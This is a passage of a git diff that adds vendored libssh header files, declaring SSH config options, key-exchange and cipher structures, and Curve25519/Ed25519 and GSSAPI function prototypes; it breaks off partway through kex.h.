*/ + SOC_UNSUPPORTED = -1, + SOC_HOST, + SOC_MATCH, + SOC_HOSTNAME, + SOC_PORT, + SOC_USERNAME, + SOC_IDENTITY, + SOC_CIPHERS, + SOC_MACS, + SOC_COMPRESSION, + SOC_TIMEOUT, + SOC_STRICTHOSTKEYCHECK, + SOC_KNOWNHOSTS, + SOC_PROXYCOMMAND, + SOC_PROXYJUMP, + SOC_GSSAPISERVERIDENTITY, + SOC_GSSAPICLIENTIDENTITY, + SOC_GSSAPIDELEGATECREDENTIALS, + SOC_INCLUDE, + SOC_BINDADDRESS, + SOC_GLOBALKNOWNHOSTSFILE, + SOC_LOGLEVEL, + SOC_HOSTKEYALGORITHMS, + SOC_KEXALGORITHMS, + SOC_GSSAPIAUTHENTICATION, + SOC_KBDINTERACTIVEAUTHENTICATION, + SOC_PASSWORDAUTHENTICATION, + SOC_PUBKEYAUTHENTICATION, + SOC_PUBKEYACCEPTEDKEYTYPES, + SOC_REKEYLIMIT, + SOC_IDENTITYAGENT, + + SOC_MAX /* Keep this one last in the list */ +}; +#endif /* LIBSSH_CONFIG_H_ */ diff --git a/vendor/libssh/include/libssh/config_parser.h b/vendor/libssh/include/libssh/config_parser.h new file mode 100644 index 0000000..a7dd42a --- /dev/null +++ b/vendor/libssh/include/libssh/config_parser.h @@ -0,0 +1,65 @@ +/* + * config_parser.h - Common configuration file parser functions + * + * This file is part of the SSH Library + * + * Copyright (c) 2019 by Red Hat, Inc. + * + * Author: Anderson Toshiyuki Sasaki + * + * The SSH Library is free software; you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation; either version 2.1 of the License, or (at your + * option) any later version. + * + * The SSH Library is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY + * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public + * License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with the SSH Library; see the file COPYING. If not, write to + * the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, + * MA 02111-1307, USA. + */ + +#ifndef CONFIG_PARSER_H_ +#define CONFIG_PARSER_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +char *ssh_config_get_cmd(char **str); + +char *ssh_config_get_token(char **str); + +long ssh_config_get_long(char **str, long notfound); + +const char *ssh_config_get_str_tok(char **str, const char *def); + +int ssh_config_get_yesno(char **str, int notfound); + +/* @brief Parse SSH URI in format [user@]host[:port] from the given string + * + * @param[in] tok String to parse + * @param[out] username Pointer to the location, where the new username will + * be stored or NULL if we do not care about the result. + * @param[out] hostname Pointer to the location, where the new hostname will + * be stored or NULL if we do not care about the result. + * @param[out] port Pointer to the location, where the new port will + * be stored or NULL if we do not care about the result. + * + * @returns SSH_OK if the provided string is in format of SSH URI, + * SSH_ERROR on failure + */ +int ssh_config_parse_uri(const char *tok, + char **username, + char **hostname, + char **port); + +#ifdef __cplusplus +} +#endif + +#endif /* LIBSSH_CONFIG_H_ */ diff --git a/vendor/libssh/include/libssh/crypto.h b/vendor/libssh/include/libssh/crypto.h new file mode 100644 index 0000000..3dba18d --- /dev/null +++ b/vendor/libssh/include/libssh/crypto.h @@ -0,0 +1,238 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2003-2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/* + * crypto.h is an include file for internal cryptographic structures of libssh + */ + +#ifndef _CRYPTO_H_ +#define _CRYPTO_H_ + +#include +#include "config.h" + +#ifdef HAVE_LIBGCRYPT +#include +#elif defined(HAVE_LIBMBEDCRYPTO) +#include +#endif +#include "libssh/wrapper.h" + +#ifdef cbc_encrypt +#undef cbc_encrypt +#endif +#ifdef cbc_decrypt +#undef cbc_decrypt +#endif + +#ifdef HAVE_OPENSSL_ECDH_H +#include +#endif +#include "libssh/dh.h" +#include "libssh/ecdh.h" +#include "libssh/kex.h" +#include "libssh/curve25519.h" + +#define DIGEST_MAX_LEN 64 + +#define AES_GCM_TAGLEN 16 +#define AES_GCM_IVLEN 12 + +enum ssh_key_exchange_e { + /* diffie-hellman-group1-sha1 */ + SSH_KEX_DH_GROUP1_SHA1=1, + /* diffie-hellman-group14-sha1 */ + SSH_KEX_DH_GROUP14_SHA1, +#ifdef WITH_GEX + /* diffie-hellman-group-exchange-sha1 */ + SSH_KEX_DH_GEX_SHA1, + /* diffie-hellman-group-exchange-sha256 */ + SSH_KEX_DH_GEX_SHA256, +#endif /* WITH_GEX */ + /* ecdh-sha2-nistp256 */ + SSH_KEX_ECDH_SHA2_NISTP256, + /* ecdh-sha2-nistp384 */ + SSH_KEX_ECDH_SHA2_NISTP384, + /* ecdh-sha2-nistp521 */ + SSH_KEX_ECDH_SHA2_NISTP521, + /* curve25519-sha256@libssh.org */ + SSH_KEX_CURVE25519_SHA256_LIBSSH_ORG, + /* curve25519-sha256 */ + SSH_KEX_CURVE25519_SHA256, + /* diffie-hellman-group16-sha512 */ + SSH_KEX_DH_GROUP16_SHA512, + /* diffie-hellman-group18-sha512 */ + SSH_KEX_DH_GROUP18_SHA512, + /* diffie-hellman-group14-sha256 */ + SSH_KEX_DH_GROUP14_SHA256, +}; + +enum ssh_cipher_e { + SSH_NO_CIPHER=0, +#ifdef WITH_BLOWFISH_CIPHER + SSH_BLOWFISH_CBC, +#endif /* WITH_BLOWFISH_CIPHER */ + SSH_3DES_CBC, + SSH_AES128_CBC, + SSH_AES192_CBC, + SSH_AES256_CBC, + SSH_AES128_CTR, + SSH_AES192_CTR, + SSH_AES256_CTR, + SSH_AEAD_AES128_GCM, + SSH_AEAD_AES256_GCM, + SSH_AEAD_CHACHA20_POLY1305 +}; + +struct dh_ctx; + +struct ssh_crypto_struct { + bignum shared_secret; + struct dh_ctx *dh_ctx; +#ifdef WITH_GEX + size_t dh_pmin; size_t dh_pn; size_t dh_pmax; /* preferred group parameters */ +#endif /* WITH_GEX */ +#ifdef HAVE_ECDH +#ifdef HAVE_OPENSSL_ECC +/* TODO Change to new API when the OpenSSL will support export of uncompressed EC keys + * https://github.com/openssl/openssl/pull/16624 + * #if OPENSSL_VERSION_NUMBER < 0x30000000L + */ +#if 1 + EC_KEY *ecdh_privkey; +#else + EVP_PKEY *ecdh_privkey; +#endif /* OPENSSL_VERSION_NUMBER */ +#elif defined HAVE_GCRYPT_ECC + gcry_sexp_t ecdh_privkey; +#elif defined HAVE_LIBMBEDCRYPTO + mbedtls_ecp_keypair *ecdh_privkey; +#endif + ssh_string ecdh_client_pubkey; + ssh_string ecdh_server_pubkey; +#endif +#ifdef HAVE_CURVE25519 + ssh_curve25519_privkey curve25519_privkey; + ssh_curve25519_pubkey curve25519_client_pubkey; + ssh_curve25519_pubkey curve25519_server_pubkey; +#endif + ssh_string dh_server_signature; /* information used by dh_handshake. */ + size_t session_id_len; + unsigned char *session_id; + size_t digest_len; /* len of the secret hash */ + unsigned char *secret_hash; /* Secret hash is same as session id until re-kex */ + unsigned char *encryptIV; + unsigned char *decryptIV; + unsigned char *decryptkey; + unsigned char *encryptkey; + unsigned char *encryptMAC; + unsigned char *decryptMAC; + unsigned char hmacbuf[DIGEST_MAX_LEN]; + struct ssh_cipher_struct *in_cipher, *out_cipher; /* the cipher structures/objects */ + enum ssh_hmac_e in_hmac, out_hmac; /* the MAC algorithms used */ + bool in_hmac_etm, out_hmac_etm; /* Whether EtM mode is used or not */ + + ssh_key server_pubkey; + int do_compress_out; /* idem */ + int do_compress_in; /* don't set them, set the option instead */ + int delayed_compress_in; /* Use of zlib@openssh.org */ + int delayed_compress_out; + void *compress_out_ctx; /* don't touch it */ + void *compress_in_ctx; /* really, don't */ + /* kex sent by server, client, and mutually elected methods */ + struct ssh_kex_struct server_kex; + struct ssh_kex_struct client_kex; + char *kex_methods[SSH_KEX_METHODS]; + enum ssh_key_exchange_e kex_type; + enum ssh_kdf_digest digest_type; /* Digest type for session keys derivation */ + enum ssh_crypto_direction_e used; /* Is this crypto still used for either of directions? */ +}; + +struct ssh_cipher_struct { + const char *name; /* ssh name of the algorithm */ + unsigned int blocksize; /* blocksize of the algo */ + enum ssh_cipher_e ciphertype; + uint32_t lenfield_blocksize; /* blocksize of the packet length field */ + size_t keylen; /* length of the key structure */ +#ifdef HAVE_LIBGCRYPT + gcry_cipher_hd_t *key; + unsigned char last_iv[AES_GCM_IVLEN]; +#elif defined HAVE_LIBCRYPTO + struct ssh_3des_key_schedule *des3_key; + struct ssh_aes_key_schedule *aes_key; + const EVP_CIPHER *cipher; + EVP_CIPHER_CTX *ctx; +#elif defined HAVE_LIBMBEDCRYPTO + mbedtls_cipher_context_t encrypt_ctx; + mbedtls_cipher_context_t decrypt_ctx; + mbedtls_cipher_type_t type; +#ifdef MBEDTLS_GCM_C + mbedtls_gcm_context gcm_ctx; + unsigned char last_iv[AES_GCM_IVLEN]; +#endif /* MBEDTLS_GCM_C */ +#endif + struct chacha20_poly1305_keysched *chacha20_schedule; + unsigned int keysize; /* bytes of key used. != keylen */ + size_t tag_size; /* overhead required for tag */ + /* Counters for rekeying initialization */ + uint32_t packets; + uint64_t blocks; + /* Rekeying limit for the cipher or manually enforced */ + uint64_t max_blocks; + /* sets the new key for immediate use */ + int (*set_encrypt_key)(struct ssh_cipher_struct *cipher, void *key, void *IV); + int (*set_decrypt_key)(struct ssh_cipher_struct *cipher, void *key, void *IV); + void (*encrypt)(struct ssh_cipher_struct *cipher, + void *in, + void *out, + size_t len); + void (*decrypt)(struct ssh_cipher_struct *cipher, + void *in, + void *out, + size_t len); + void (*aead_encrypt)(struct ssh_cipher_struct *cipher, void *in, void *out, + size_t len, uint8_t *mac, uint64_t seq); + int (*aead_decrypt_length)(struct ssh_cipher_struct *cipher, void *in, + uint8_t *out, size_t len, uint64_t seq); + int (*aead_decrypt)(struct ssh_cipher_struct *cipher, void *complete_packet, uint8_t *out, + size_t encrypted_size, uint64_t seq); + void (*cleanup)(struct ssh_cipher_struct *cipher); +}; + +#ifdef __cplusplus +extern "C" { +#endif + +const struct ssh_cipher_struct *ssh_get_chacha20poly1305_cipher(void); +int sshkdf_derive_key(struct ssh_crypto_struct *crypto, + unsigned char *key, size_t key_len, + uint8_t key_type, unsigned char *output, + size_t requested_len); + +int secure_memcmp(const void *s1, const void *s2, size_t n); +#ifdef HAVE_LIBCRYPTO +ENGINE *pki_get_engine(void); +#endif /* HAVE_LIBCRYPTO */ + +#ifdef __cplusplus +} +#endif + +#endif /* _CRYPTO_H_ */ diff --git a/vendor/libssh/include/libssh/curve25519.h b/vendor/libssh/include/libssh/curve25519.h new file mode 100644 index 0000000..a55f52c --- /dev/null +++ b/vendor/libssh/include/libssh/curve25519.h @@ -0,0 +1,65 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2013 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation, + * version 2.1 of the License. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef CURVE25519_H_ +#define CURVE25519_H_ + +#include "config.h" +#include "libssh.h" + +#ifdef WITH_NACL + +#include +#define CURVE25519_PUBKEY_SIZE crypto_scalarmult_curve25519_BYTES +#define CURVE25519_PRIVKEY_SIZE crypto_scalarmult_curve25519_SCALARBYTES +#define crypto_scalarmult_base crypto_scalarmult_curve25519_base +#define crypto_scalarmult crypto_scalarmult_curve25519 +#else + +#ifdef __cplusplus +extern "C" { +#endif + +#define CURVE25519_PUBKEY_SIZE 32 +#define CURVE25519_PRIVKEY_SIZE 32 +int crypto_scalarmult_base(unsigned char *q, const unsigned char *n); +int crypto_scalarmult(unsigned char *q, const unsigned char *n, const unsigned char *p); +#endif /* WITH_NACL */ + +#ifdef HAVE_ECC +#define HAVE_CURVE25519 1 +#endif + +typedef unsigned char ssh_curve25519_pubkey[CURVE25519_PUBKEY_SIZE]; +typedef unsigned char ssh_curve25519_privkey[CURVE25519_PRIVKEY_SIZE]; + + +int ssh_client_curve25519_init(ssh_session session); +void ssh_client_curve25519_remove_callbacks(ssh_session session); + +#ifdef WITH_SERVER +void ssh_server_curve25519_init(ssh_session session); +#endif /* WITH_SERVER */ + +#ifdef __cplusplus +} +#endif + +#endif /* CURVE25519_H_ */ diff --git a/vendor/libssh/include/libssh/dh-gex.h b/vendor/libssh/include/libssh/dh-gex.h new file mode 100644 index 0000000..0f547e3 --- /dev/null +++ b/vendor/libssh/include/libssh/dh-gex.h @@ -0,0 +1,41 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2016 by Aris Adamantiadis + * + * The SSH Library is free software; you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation; either version 2.1 of the License, or (at your + * option) any later version. + * + * The SSH Library is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY + * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public + * License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with the SSH Library; see the file COPYING. If not, write to + * the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, + * MA 02111-1307, USA. + */ + + +#ifndef SRC_DH_GEX_H_ +#define SRC_DH_GEX_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +int ssh_client_dhgex_init(ssh_session session); +void ssh_client_dhgex_remove_callbacks(ssh_session session); + +#ifdef WITH_SERVER +void ssh_server_dhgex_init(ssh_session session); +#endif /* WITH_SERVER */ + +#ifdef __cplusplus +} +#endif + +#endif /* SRC_DH_GEX_H_ */ diff --git a/vendor/libssh/include/libssh/dh.h b/vendor/libssh/include/libssh/dh.h new file mode 100644 index 0000000..34c4a7e --- /dev/null +++ b/vendor/libssh/include/libssh/dh.h @@ -0,0 +1,95 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef DH_H_ +#define DH_H_ + +#include "config.h" + +#include "libssh/crypto.h" + +struct dh_ctx; + +#define DH_CLIENT_KEYPAIR 0 +#define DH_SERVER_KEYPAIR 1 + +#ifdef __cplusplus +extern "C" { +#endif + +/* functions implemented by crypto backends */ +int ssh_dh_init_common(struct ssh_crypto_struct *crypto); +void ssh_dh_cleanup(struct ssh_crypto_struct *crypto); + +#if !defined(HAVE_LIBCRYPTO) || OPENSSL_VERSION_NUMBER < 0x30000000L +int ssh_dh_get_parameters(struct dh_ctx *ctx, + const_bignum *modulus, const_bignum *generator); +#else +int ssh_dh_get_parameters(struct dh_ctx *ctx, + bignum *modulus, bignum *generator); +#endif /* OPENSSL_VERSION_NUMBER */ +int ssh_dh_set_parameters(struct dh_ctx *ctx, + const bignum modulus, const bignum generator); + +int ssh_dh_keypair_gen_keys(struct dh_ctx *ctx, int peer); +#if !defined(HAVE_LIBCRYPTO) || OPENSSL_VERSION_NUMBER < 0x30000000L +int ssh_dh_keypair_get_keys(struct dh_ctx *ctx, int peer, + const_bignum *priv, const_bignum *pub); +#else +int ssh_dh_keypair_get_keys(struct dh_ctx *ctx, int peer, + bignum *priv, bignum *pub); +#endif /* OPENSSL_VERSION_NUMBER */ +int ssh_dh_keypair_set_keys(struct dh_ctx *ctx, int peer, + bignum priv, bignum pub); + +int ssh_dh_compute_shared_secret(struct dh_ctx *ctx, int local, int remote, + bignum *dest); + +void ssh_dh_debug_crypto(struct ssh_crypto_struct *c); + +/* common functions */ +int ssh_dh_init(void); +void ssh_dh_finalize(void); + +int ssh_dh_import_next_pubkey_blob(ssh_session session, + ssh_string pubkey_blob); + +ssh_key ssh_dh_get_current_server_publickey(ssh_session session); +int ssh_dh_get_current_server_publickey_blob(ssh_session session, + ssh_string *pubkey_blob); +ssh_key ssh_dh_get_next_server_publickey(ssh_session session); +int ssh_dh_get_next_server_publickey_blob(ssh_session session, + ssh_string *pubkey_blob); +int dh_handshake(ssh_session session); + +int ssh_client_dh_init(ssh_session session); +void ssh_client_dh_remove_callbacks(ssh_session session); +#ifdef WITH_SERVER +void ssh_server_dh_init(ssh_session session); +#endif /* WITH_SERVER */ +int ssh_server_dh_process_init(ssh_session session, ssh_buffer packet); +int ssh_fallback_group(uint32_t pmax, bignum *p, bignum *g); +bool ssh_dh_is_known_group(bignum modulus, bignum generator); + +#ifdef __cplusplus +} +#endif + +#endif /* DH_H_ */ diff --git a/vendor/libssh/include/libssh/ecdh.h b/vendor/libssh/include/libssh/ecdh.h new file mode 100644 index 0000000..4c4c54e --- /dev/null +++ b/vendor/libssh/include/libssh/ecdh.h @@ -0,0 +1,65 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2011 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef ECDH_H_ +#define ECDH_H_ + +#include "config.h" +#include "libssh/callbacks.h" + +#ifdef HAVE_LIBCRYPTO +#ifdef HAVE_OPENSSL_ECDH_H + +#ifdef HAVE_ECC +#define HAVE_ECDH 1 +#endif + +#endif /* HAVE_OPENSSL_ECDH_H */ +#endif /* HAVE_LIBCRYPTO */ + +#ifdef HAVE_GCRYPT_ECC +#define HAVE_ECDH 1 +#endif + +#ifdef HAVE_LIBMBEDCRYPTO +#define HAVE_ECDH 1 +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +extern struct ssh_packet_callbacks_struct ssh_ecdh_client_callbacks; +/* Backend-specific functions. */ +int ssh_client_ecdh_init(ssh_session session); +void ssh_client_ecdh_remove_callbacks(ssh_session session); +int ecdh_build_k(ssh_session session); + +#ifdef WITH_SERVER +extern struct ssh_packet_callbacks_struct ssh_ecdh_server_callbacks; +void ssh_server_ecdh_init(ssh_session session); +SSH_PACKET_CALLBACK(ssh_packet_server_ecdh_init); +#endif /* WITH_SERVER */ + +#ifdef __cplusplus +} +#endif + +#endif /* ECDH_H_ */ diff --git a/vendor/libssh/include/libssh/ed25519.h b/vendor/libssh/include/libssh/ed25519.h new file mode 100644 index 0000000..72a86c0 --- /dev/null +++ b/vendor/libssh/include/libssh/ed25519.h @@ -0,0 +1,87 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2014 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef ED25519_H_ +#define ED25519_H_ +#include "libssh/priv.h" + +/** + * @defgroup ed25519 ed25519 API + * @brief API for DJB's ed25519 + * + * @{ + */ + +#define ED25519_PK_LEN 32 +#define ED25519_SK_LEN 64 +#define ED25519_SIG_LEN 64 + +typedef uint8_t ed25519_pubkey[ED25519_PK_LEN]; +typedef uint8_t ed25519_privkey[ED25519_SK_LEN]; +typedef uint8_t ed25519_signature[ED25519_SIG_LEN]; + +#ifdef __cplusplus +extern "C" { +#endif + +/** @internal + * @brief generate an ed25519 key pair + * @param[out] pk generated public key + * @param[out] sk generated secret key + * @return 0 on success, -1 on error. + * */ +int crypto_sign_ed25519_keypair(ed25519_pubkey pk, ed25519_privkey sk); + +/** @internal + * @brief sign a message with ed25519 + * @param[out] sm location to store the signed message. + * Its length should be mlen + 64. + * @param[out] smlen pointer to the size of the signed message + * @param[in] m message to be signed + * @param[in] mlen length of the message to be signed + * @param[in] sk secret key to sign the message with + * @return 0 on success. + */ +int crypto_sign_ed25519( + unsigned char *sm, uint64_t *smlen, + const unsigned char *m, uint64_t mlen, + const ed25519_privkey sk); + +/** @internal + * @brief "open" and verify the signature of a signed message + * @param[out] m location to store the verified message. + * Its length should be equal to smlen. + * @param[out] mlen pointer to the size of the verified message + * @param[in] sm signed message to verify + * @param[in] smlen length of the signed message to verify + * @param[in] pk public key used to sign the message + * @returns 0 on success (supposedly). + */ +int crypto_sign_ed25519_open( + unsigned char *m, uint64_t *mlen, + const unsigned char *sm, uint64_t smlen, + const ed25519_pubkey pk); + +/** @} */ +#ifdef __cplusplus +} +#endif + +#endif /* ED25519_H_ */ diff --git a/vendor/libssh/include/libssh/fe25519.h b/vendor/libssh/include/libssh/fe25519.h new file mode 100644 index 0000000..0dfb061 --- /dev/null +++ b/vendor/libssh/include/libssh/fe25519.h @@ -0,0 +1,76 @@ +/* $OpenBSD: fe25519.h,v 1.3 2013/12/09 11:03:45 markus Exp $ */ + +/* + * Public Domain, Authors: Daniel J. Bernstein, Niels Duif, Tanja Lange, + * Peter Schwabe, Bo-Yin Yang. + * Copied from supercop-20130419/crypto_sign/ed25519/ref/fe25519.h + */ + +#ifndef FE25519_H +#define FE25519_H + +#include "libssh/priv.h" + +#define fe25519 crypto_sign_ed25519_ref_fe25519 +#define fe25519_freeze crypto_sign_ed25519_ref_fe25519_freeze +#define fe25519_unpack crypto_sign_ed25519_ref_fe25519_unpack +#define fe25519_pack crypto_sign_ed25519_ref_fe25519_pack +#define fe25519_iszero crypto_sign_ed25519_ref_fe25519_iszero +#define fe25519_iseq_vartime crypto_sign_ed25519_ref_fe25519_iseq_vartime +#define fe25519_cmov crypto_sign_ed25519_ref_fe25519_cmov +#define fe25519_setone crypto_sign_ed25519_ref_fe25519_setone +#define fe25519_setzero crypto_sign_ed25519_ref_fe25519_setzero +#define fe25519_neg crypto_sign_ed25519_ref_fe25519_neg +#define fe25519_getparity crypto_sign_ed25519_ref_fe25519_getparity +#define fe25519_add crypto_sign_ed25519_ref_fe25519_add +#define fe25519_sub crypto_sign_ed25519_ref_fe25519_sub +#define fe25519_mul crypto_sign_ed25519_ref_fe25519_mul +#define fe25519_square crypto_sign_ed25519_ref_fe25519_square +#define fe25519_invert crypto_sign_ed25519_ref_fe25519_invert +#define fe25519_pow2523 crypto_sign_ed25519_ref_fe25519_pow2523 + +typedef struct { + uint32_t v[32]; +} fe25519; + +#ifdef __cplusplus +extern "C" { +#endif + +void fe25519_freeze(fe25519 *r); + +void fe25519_unpack(fe25519 *r, const unsigned char x[32]); + +void fe25519_pack(unsigned char r[32], const fe25519 *x); + +uint32_t fe25519_iszero(const fe25519 *x); + +int fe25519_iseq_vartime(const fe25519 *x, const fe25519 *y); + +void fe25519_cmov(fe25519 *r, const fe25519 *x, unsigned char b); + +void fe25519_setone(fe25519 *r); + +void fe25519_setzero(fe25519 *r); + +void fe25519_neg(fe25519 *r, const fe25519 *x); + +unsigned char fe25519_getparity(const fe25519 *x); + +void fe25519_add(fe25519 *r, const fe25519 *x, const fe25519 *y); + +void fe25519_sub(fe25519 *r, const fe25519 *x, const fe25519 *y); + +void fe25519_mul(fe25519 *r, const fe25519 *x, const fe25519 *y); + +void fe25519_square(fe25519 *r, const fe25519 *x); + +void fe25519_invert(fe25519 *r, const fe25519 *x); + +void fe25519_pow2523(fe25519 *r, const fe25519 *x); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/vendor/libssh/include/libssh/ge25519.h b/vendor/libssh/include/libssh/ge25519.h new file mode 100644 index 0000000..480f29d --- /dev/null +++ b/vendor/libssh/include/libssh/ge25519.h @@ -0,0 +1,51 @@ +/* $OpenBSD: ge25519.h,v 1.3 2013/12/09 11:03:45 markus Exp $ */ + +/* + * Public Domain, Authors: Daniel J. Bernstein, Niels Duif, Tanja Lange, + * Peter Schwabe, Bo-Yin Yang. + * Copied from supercop-20130419/crypto_sign/ed25519/ref/ge25519.h + */ + +#ifndef GE25519_H +#define GE25519_H + +#include "fe25519.h" +#include "sc25519.h" + +#define ge25519 crypto_sign_ed25519_ref_ge25519 +#define ge25519_base crypto_sign_ed25519_ref_ge25519_base +#define ge25519_unpackneg_vartime crypto_sign_ed25519_ref_unpackneg_vartime +#define ge25519_pack crypto_sign_ed25519_ref_pack +#define ge25519_isneutral_vartime crypto_sign_ed25519_ref_isneutral_vartime +#define ge25519_double_scalarmult_vartime crypto_sign_ed25519_ref_double_scalarmult_vartime +#define ge25519_scalarmult_base crypto_sign_ed25519_ref_scalarmult_base + +typedef struct +{ + fe25519 x; + fe25519 y; + fe25519 z; + fe25519 t; +} ge25519; + +#ifdef __cplusplus +extern "C" { +#endif + +extern const ge25519 ge25519_base; + +int ge25519_unpackneg_vartime(ge25519 *r, const unsigned char p[32]); + +void ge25519_pack(unsigned char r[32], const ge25519 *p); + +int ge25519_isneutral_vartime(const ge25519 *p); + +void ge25519_double_scalarmult_vartime(ge25519 *r, const ge25519 *p1, const sc25519 *s1, const ge25519 *p2, const sc25519 *s2); + +void ge25519_scalarmult_base(ge25519 *r, const sc25519 *s); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/vendor/libssh/include/libssh/gssapi.h b/vendor/libssh/include/libssh/gssapi.h new file mode 100644 index 0000000..b0c74c7 --- /dev/null +++ b/vendor/libssh/include/libssh/gssapi.h @@ -0,0 +1,53 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2013 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef GSSAPI_H_ +#define GSSAPI_H_ + +#include "config.h" +#include "session.h" + +/* all OID begin with the tag identifier + length */ +#define SSH_OID_TAG 06 + +typedef struct ssh_gssapi_struct *ssh_gssapi; + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef WITH_SERVER +int ssh_gssapi_handle_userauth(ssh_session session, const char *user, uint32_t n_oid, ssh_string *oids); +SSH_PACKET_CALLBACK(ssh_packet_userauth_gssapi_token_server); +SSH_PACKET_CALLBACK(ssh_packet_userauth_gssapi_mic); +#endif /* WITH_SERVER */ + +SSH_PACKET_CALLBACK(ssh_packet_userauth_gssapi_token); +SSH_PACKET_CALLBACK(ssh_packet_userauth_gssapi_token_client); +SSH_PACKET_CALLBACK(ssh_packet_userauth_gssapi_response); + + +int ssh_gssapi_auth_mic(ssh_session session); + +#ifdef __cplusplus +} +#endif + +#endif /* GSSAPI_H */ diff --git a/vendor/libssh/include/libssh/kex.h b/vendor/libssh/include/libssh/kex.h new file mode 100644 index 0000000..ba98fde --- /dev/null +++ b/vendor/libssh/include/libssh/kex.h @@ -0,0 +1,68 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef KEX_H_ +#define KEX_H_ + +#include "libssh/priv.h" +#include "libssh/callbacks.h" + +#define SSH_KEX_METHODS 10 + +struct ssh_kex_struct { + unsigned char cookie[16]; + char *methods[SSH_KEX_METHODS]; +}; + +#ifdef __cplusplus +extern "C" { +#endif + +SSH_PACKET_CALLBACK(ssh_packet_kexinit); + +int ssh_send_kex(ssh_session session); +void ssh_list_kex(struct ssh_kex_struct *kex); +int ssh_set_client_kex(ssh_session session); +int 